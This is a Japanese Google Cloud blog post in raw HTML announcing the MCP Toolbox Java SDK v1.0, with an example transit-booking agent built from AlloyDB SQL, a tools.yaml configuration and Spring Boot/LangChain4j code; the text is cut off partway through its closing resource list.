&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;この投稿では、Java SDK v1.0 の新機能について説明し、実際の例を示しながら、独自の実装を始めるためのステップを解説します。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;MCP: ユニバーサル インターフェース&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;現在、デベロッパーは複雑化する統合のボトルネックに直面しています。&lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;N&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; 個の異なる AI モデルと &lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;M&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; 個のエンタープライズ データソースがある場合、&lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;N × M&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; 個のカスタム接続を構築、保護、維持する必要があります。このように統一されたインテグレーション レイヤがないため、エンジニアリング チームは、断片化されたアドホックなパイプラインが複雑に入り組んだ状態に頼らざるを得ません。その結果、エージェント アーキテクチャのスケーリングはすぐに持続不可能になり、機密性の高いエンタープライズ データベースが深刻なセキュリティ脆弱性、断片化されたアクセス制御、膨大なメンテナンス オーバーヘッドにさらされることになります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Model Context Protocol（MCP）が解決する根本的な課題は、複雑に絡み合った独自のインテグレーションを解消することです。MCP は、AI オーケストレーションの「USB Type-C」のようなユニバーサル インターフェースとして機能し、モデルをデータソースから分離します。デベロッパーは、新しいモデルやデータベースごとにカスタムまたはマネージド API 統合コードを記述する代わりに、単一の標準化されたプロトコルに準拠してコードを記述します。このアプローチにより、MCP 準拠のエージェントは、MCP 対応のシステムとセキュアかつ即座にやり取りできます。MCP 接続により、デベロッパーは新しいモデルごとに個別のインテグレーションを構築することなく、エージェントを実世界のシステムに接続できます。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Java SDK v1.0 の新機能: 本番環境ワークロードに対応&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「MCP ツールボックス」Java SDK の&lt;/span&gt;&lt;a href="https://medium.com/google-cloud/announcing-the-mcp-toolbox-java-sdk-2ed3171bbaa0" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;公開ベータ版&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;を発表した際、Google の目標は、最高水準の型安全なエージェント オーケストレーションをエンタープライズ Java 環境に提供することでした。それ以来、Google はデベロッパーやオープンソースのコントリビューターと協力して API の堅牢化に努めてきました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;v1.0 リリースは、エンタープライズ ワークロードに適した、安定した後方互換性を備えた基盤となります。v0.2 リリース以降の新機能と堅牢化された機能は次のとおりです。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;トランスポート層の抽象化と &lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;HttpMcpTransport&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;HttpMcpTransport&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; とともに、クリーンなトランスポート層の抽象化を導入しました。この機能により、コア プロトコル ロジックが基盤となる HTTP クライアントから分離されるため、ネットワーク実装の入れ替えや接続プールのカスタマイズが容易になります。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;クライアント認証の疎結合化&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 企業のセキュリティ コンプライアンスを簡素化するため、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;CredentialsProvider&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; クラスと &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AuthMethods&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; クラスを使用してクライアント認証を切り離しました。認証情報はリクエストごとに非同期で解決されるため、チームはトークンを動的に更新したり、独自のトークンソースをプラグインしたりできます（ADC 経由の Google OIDC は標準で組み込まれており、それ以外は 1 つのメソッドを実装するだけのインターフェースです）。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;デフォルト パラメータのサポート&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: ツール パラメータのデフォルト値をネイティブにサポートすることで、プロンプトのペイロード サイズを削減し、エージェントの信頼性を高めます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;バインドされたパラメータのプルーニング&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: サーバーサイドでバインドされた機密性の高いパラメータ（&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;tenant_id&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; など）が、公開されたツール定義から自動的に削除されるようになり、LLM による操作を防ぎます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;バージョン選択とセッション トラッキング&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 標準化された MCP バージョン選択と堅牢なセッション トラッキングにより、一貫したプロトコル ネゴシエーションと会話状態のライフサイクルを実現します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;HTTP 認証情報の漏洩に関する警告&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 認証情報が平文の HTTP 接続で送信されようとしているときに、実行時に警告を発する組み込みの検出機能を追加しました。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;汎用クライアント ヘッダーのマップ&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: カスタムの企業プロキシ ヘッダー、トランザクション トレース ID、相関メタデータを、すべての送信リクエストに簡単に追加できます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Java SDK v1.0 を使ってみる&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「MCP ツールボックス」Java SDK は、企業チームがスムーズに利用できるように設計されています。&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;pom.xml&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; に次の依存関係を追加するだけで利用を開始できます。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;&amp;lt;dependency&amp;gt;\r\n    &amp;lt;groupId&amp;gt;com.google.cloud.mcp&amp;lt;/groupId&amp;gt;\r\n    &amp;lt;artifactId&amp;gt;mcp-toolbox-sdk-java&amp;lt;/artifactId&amp;gt;\r\n    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;\r\n&amp;lt;/dependency&amp;gt;&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac24a73dd0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;実際の例: 自律型交通コンシェルジュ&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Java SDK を AlloyDB と組み合わせて活用する例として、企業のユースケースを見てみましょう。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;架空の都市間バス交通ネットワークである &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Cymbal Transit&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; をご紹介します。利用者は、旅行を計画するのに、ネストされたプルダウン メニューを何度もクリックするような操作は望んでいません。次のように質問したいと考えています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;「明日の朝、ニューヨークからボストンまで移動する必要がある。ゴールデン レトリバーを連れて行くことはできる？連れて行ける場合は、最も早い便を予約して。」&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;AI エージェントがこの質問に答えるには、非構造化データ（ペットに関するポリシー）と構造化データ（運行スケジュール、座席の空き状況）を相互参照し、会話のコンテキストを維持しながらトランザクションを実行（予約）する必要があります。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;基盤: ネイティブ エンベディングを備えた AlloyDB スキーマ&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;この実装には、リレーショナル データと高次元ベクトルをネイティブに処理できる AlloyDB を使用しました。そして、次のステートメントを使用してデータベース テーブルを作成しました。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;-- Enable necessary extensions for semantic search and embeddings\r\nCREATE EXTENSION IF NOT EXISTS vector;\r\nCREATE EXTENSION IF NOT EXISTS google_ml_integration;\r\n\r\n-- Table 1: Transit Policies (Unstructured Data for RAG)\r\nCREATE TABLE transit_policies (\r\n    policy_id SERIAL PRIMARY KEY,\r\n    category VARCHAR(50),\r\n    policy_text TEXT,\r\n    policy_embedding vector(768)\r\n);\r\n\r\n-- Table 2: Intercity Bus Schedules (Structured Data)\r\nCREATE TABLE bus_schedules (\r\n    trip_id UUID PRIMARY KEY DEFAULT gen_random_uuid(),\r\n    origin_city VARCHAR(100),\r\n    destination_city VARCHAR(100),\r\n    departure_time TIMESTAMP,\r\n    arrival_time TIMESTAMP,\r\n    available_seats INT DEFAULT 50,\r\n    ticket_price DECIMAL(6,2)\r\n);\r\n\r\n-- Table 3: Booking Ledger (Transactional Action Data)\r\nCREATE TABLE bookings (\r\n    booking_id UUID PRIMARY KEY DEFAULT gen_random_uuid(),\r\n    trip_id UUID REFERENCES bus_schedules(trip_id),\r\n    passenger_id VARCHAR(100),\r\n    status VARCHAR(20) DEFAULT &amp;#x27;CONFIRMED&amp;#x27;,\r\n    booking_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP\r\n);&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;lang-sql&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac24a71c50&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;インテントと SQL のマッピング: &lt;/strong&gt;&lt;code style="vertical-align: baseline;"&gt;tools.yaml&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;MCP ツールボックスを使用すると、カスタムツールをセキュアに定義できます。LLM にデータベースへの直接アクセスを許可するのではなく、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;tools.yaml&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; の設定によって、自然言語のインテントをパラメータ化された安全なクエリに直接マッピングします。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;kind: source\r\nname: alloydb\r\ntype: alloydb-postgres\r\nproject: my-project\r\nregion: us-central1\r\ncluster: my-cluster\r\ninstance: my-instance\r\ndatabase: postgres\r\n---\r\nkind: tool\r\nname: query-schedules\r\ntype: postgres-sql\r\nsource: alloydb\r\ndescription: Find available bus schedules between cities.\r\nparameters:\r\n  - name: origin\r\n    type: string\r\n    description: The departure city name.\r\n  - name: destination\r\n    type: string\r\n    description: The arrival city name.\r\n  - name: limit\r\n    type: integer\r\n    description: Maximum number of schedules to return.\r\n    default: 5\r\nstatement: |\r\n  SELECT CAST(trip_id AS TEXT) AS trip_id, departure_time, ticket_price\r\n  FROM bus_schedules\r\n  WHERE lower(origin_city) = lower($1) AND lower(destination_city) = lower($2)\r\n  ORDER BY departure_time ASC\r\n  LIMIT $3&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac24a72890&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;完全な YAML ファイルについては、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;mcp-toolbox-sdk-java&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; リポジトリの&lt;/span&gt;&lt;a href="https://github.com/googleapis/mcp-toolbox-sdk-java/blob/main/demo-applications/cymbal-transit/tools.yaml" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;tools.yaml&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; ファイルをご覧ください。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Spring Boot のステートフル エージェント アーキテクチャ&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;エンタープライズ アプリケーションで会話型 AI を構築するうえで最も難しいのは、状態の管理です。ユーザーが「空席がある便の出発時間は？」と尋ねた後、「午前 8 時の便を予約して」と言った場合、エージェントはターンをまたいで前のコンテキストを覚えておく必要があります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「MCP ツールボックス」Java SDK を Spring Boot および LangChain4j と併せて使用すると、HTTP セッションで会話のメモリを適切に維持し、エージェントを次の 2 つの宣言型コンポーネントに明確に分離できます。&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;HTTP セッションを介してプロンプト、ツール、会話のメモリを管理する宣言型エージェント インターフェース。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;エージェントのリクエストを MCP ツールボックス サーバーに直接ルーティングするツール実行サービス。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;interface TransitAgent {\r\n    @SystemMessage({\r\n        &amp;quot;You are the Cymbal Transit Concierge.&amp;quot;,\r\n        &amp;quot;Use the \&amp;#x27;querySchedules\&amp;#x27; tool for finding schedules.&amp;quot;,\r\n        &amp;quot;Use \&amp;#x27;bookTicket\&amp;#x27; to execute transactions.&amp;quot;,\r\n        &amp;quot;Use \&amp;#x27;searchPolicies\&amp;#x27; to look up luggage and pet rules.&amp;quot;\r\n    })\r\n    String chat(@MemoryId String sessionId, @UserMessage String userMessage);\r\n}\r\n\r\n@Service\r\nclass TransitAgentTools {\r\n    // These methods automatically invoke our MCP Toolbox server!\r\n    @Tool(&amp;quot;Query specific schedules between an origin and destination city.&amp;quot;)\r\n    public String querySchedules(String origin, String destination) { ... }\r\n\r\n    @Tool(&amp;quot;Book a ticket for a passenger.&amp;quot;)\r\n    public String bookTicket(String tripId, String passengerName) { ... }\r\n\r\n    @Tool(&amp;quot;Search transit policies for luggage and pet rules.&amp;quot;)\r\n    public String searchPolicies(String query) { ... }\r\n}&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac24a71e90&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;@MemoryId&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; アノテーションがセッション トラッキングを抽象化している点に注目してください。これにより、Spring Boot は会話のコンテキストをユーザーの HTTP セッションに自動的に関連付けることができます。その一方で、LangChain4j と MCP ツールボックスが舞台裏でスキーマ変換とツール ルーティングを処理するため、手動で if/else 文によるインテント解析を書く必要はありません。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「MCP ツールボックス」Java SDK と LangChain4j を組み合わせることで、関心の分離を明確にし、手間をかけずに状態を管理できるようになります。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;ボイラープレート不要のセッション管理&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;@MemoryId String sessionId&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; パラメータにより、会話履歴がユーザーの HTTP セッションに直接バインドされます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;宣言型エージェント コントラクト&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;TransitAgent&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; インターフェースは、複雑なプロンプト テンプレートを使用せずに、モデルのペルソナとシステム指示を定義します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;型安全なツールの実行&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;TransitAgentTools&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; Spring サービスが、リモート MCP データベース ツールをネイティブ Java メソッドとしてラップします。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;このアーキテクチャにより、エージェントのモジュール性を保つことができます。インターフェースでプロンプト ガイダンスを改良し、ユーザー セッションを自動的に管理しながら、密結合させることなく MCP ツールボックスを介して安セキュアなデータベース クエリを実行できます。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;すべてをつなぎ合わせる: Java v1.0 におけるツールのリスト表示、呼び出し、実行&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;次に、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;TransitAgentTools&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; インターフェースの内部を見てみましょう。Spring &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;@Service&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; の LangChain4j &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;@Tool&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; メソッド内では、MCP ツールボックス Java SDK が、Java サービス メソッドを &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;tools.yaml&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; ファイルで定義された MCP ツールに橋渡しするという複雑な処理を肩代わりします。型安全なコードを数行記述するだけで、新しい v1.0 の疎結合な認証情報とヘッダーの抽象化を使用してクライアントを初期化できます。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;// 1. Initialize the Client with Decoupled Auth and Custom Headers (v1.0)\r\nString serviceUrl = &amp;quot;https://toolbox-my-project-uc.a.run.app/mcp&amp;quot;;\r\nMcpToolboxClient mcpClient = McpToolboxClient.builder()\r\n    .baseUrl(serviceUrl)\r\n    .credentialsProvider(new GoogleCredentialsProvider(serviceUrl)) // Decoupled OIDC credentials\r\n    .headers(Map.of( // Generic client headers\r\n        &amp;quot;X-Correlation-ID&amp;quot;, &amp;quot;enterprise-session-abc123&amp;quot;,\r\n        &amp;quot;X-Client-Platform&amp;quot;, &amp;quot;Spring-Boot&amp;quot;\r\n    ))\r\n    .build();\r\n\r\n// 2. Listing Discoverable Tools\r\nmcpClient.listTools().thenAccept(tools -&amp;gt; {\r\n    System.out.println(&amp;quot;Successfully discovered &amp;quot; + tools.size() + &amp;quot; tools.&amp;quot;);\r\n});\r\n\r\n// 3. Invoking a Tool (Read-Only Data with Default Parameter Support)\r\n// &amp;quot;limit&amp;quot; is omitted: the SDK fills it from the default in the tool definition\r\nString schedules = mcpClient.loadTool(&amp;quot;query-schedules&amp;quot;)\r\n    .thenCompose(tool -&amp;gt; tool.execute(Map.of(\r\n        &amp;quot;origin&amp;quot;, &amp;quot;New York&amp;quot;,\r\n        &amp;quot;destination&amp;quot;, &amp;quot;Boston&amp;quot;)))\r\n    .join().text();\r\n\r\n// 4. Executing a Transactional Tool (Using Bound Parameters)\r\nAuthTokenGetter toolAuthGetter = () -&amp;gt; CompletableFuture.completedFuture(myIdToken);\r\n\r\nString bookingConfirmation = mcpClient.loadTool(&amp;quot;book-ticket&amp;quot;, Map.of(&amp;quot;google_auth&amp;quot;, toolAuthGetter))\r\n    // Bind the authenticated user context securely. bindParam returns a new immutable\r\n    // Tool, and the bound parameter is pruned from the definition exposed to the LLM!\r\n    .thenCompose(tool -&amp;gt; tool.bindParam(&amp;quot;passenger_name&amp;quot;, &amp;quot;Jane Doe&amp;quot;)\r\n        // Execute the mutable transaction\r\n        .execute(Map.of(&amp;quot;trip_id&amp;quot;, &amp;quot;123e4567-e89b-12d3-a456-426614174000&amp;quot;)))\r\n    .join().text();&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac24a71c90&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;セキュア バイ デフォルト: 認証とデプロイ&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;AI エージェントを本番環境に移行するには、堅牢な認証情報処理と、需要に応じてスケールするインフラストラクチャが必要です。さまざまな環境で認証情報の安全性を確保し、Cloud Run に独立してデプロイする方法を見ていきましょう。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;アプリケーションのデフォルト認証情報（ADC）と安全性&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;GoogleCredentialsProvider&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; サービスを使用すると、Java アプリはアプリケーションのデフォルト認証情報（ADC）を介して、実行環境（ローカルまたは Google Cloud）から安全な ID を継承します。ハードコードされた鍵は不要で、OIDC トークンがオーディエンスごとにバックグラウンドで生成され、キャッシュに保存されます。さらに、v1.0 では HTTP 認証情報の漏洩警告が提供されます。これは、認証情報が平文の HTTP 接続で送信されようとしていることを自動的に検出し、HTTPS に切り替えるよう指示するランタイム警告を発します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;フリートを Cloud Run にデプロイ&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;MCP ツールボックスと Spring Boot エージェントは完全に疎結合化されているため、Google Cloud Run で独立してスケールし、高い同時実行性とステートフルな会話の要件に対応できます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Cloud Run でツールボックスをセットアップして構成するには、オープンソースのデータベース向け MCP ツールボックスをダウンロードしてから、&lt;/span&gt;&lt;a href="https://mcp-toolbox.dev/documentation/deploy-to/cloud-run" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;デプロイガイド&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;に沿って操作します。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;使ってみる&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「MCP ツールボックス」Java SDK v1.0 を使用すると、企業の Java チームは Spring Boot と LangChain4j エージェントをツールボックス サーバーに接続し、そこから AlloyDB やその他のサポートされているデータソースに接続できます。ツールボックスを使用すると、引数は JVM から送信される前にツール定義に照らして検証され、認証は疎結合化され、カスタム ヘッダーがすべての送信リクエストに添付されます。&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;導入手順&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;は次のとおりです。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;ステップ 1: 依存関係を追加する&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SDK を使用して開発を始めるには、Maven プロジェクトの &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;pom.xml&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; ファイルに次の依存関係を追加します。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;&amp;lt;dependency&amp;gt;\r\n        &amp;lt;groupId&amp;gt;com.google.cloud.mcp&amp;lt;/groupId&amp;gt;\r\n        &amp;lt;artifactId&amp;gt;mcp-toolbox-sdk-java&amp;lt;/artifactId&amp;gt;\r\n        &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;\r\n &amp;lt;!-- {x-version-update:mcp-toolbox-sdk-java:current} --&amp;gt;\r\n    &amp;lt;/dependency&amp;gt;&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac24a71390&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;ステップ 2: リソースとデモを確認する&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="2" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;GitHub リポジトリ&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;:&lt;/span&gt;&lt;a href="https://github.com/googleapis/mcp-toolbox-sdk-java" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;データベース向け MCP ツールボックスを操作するための Java SDK&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="2" style="list-style-type: disc; vertical-align: baseline;"&gt;
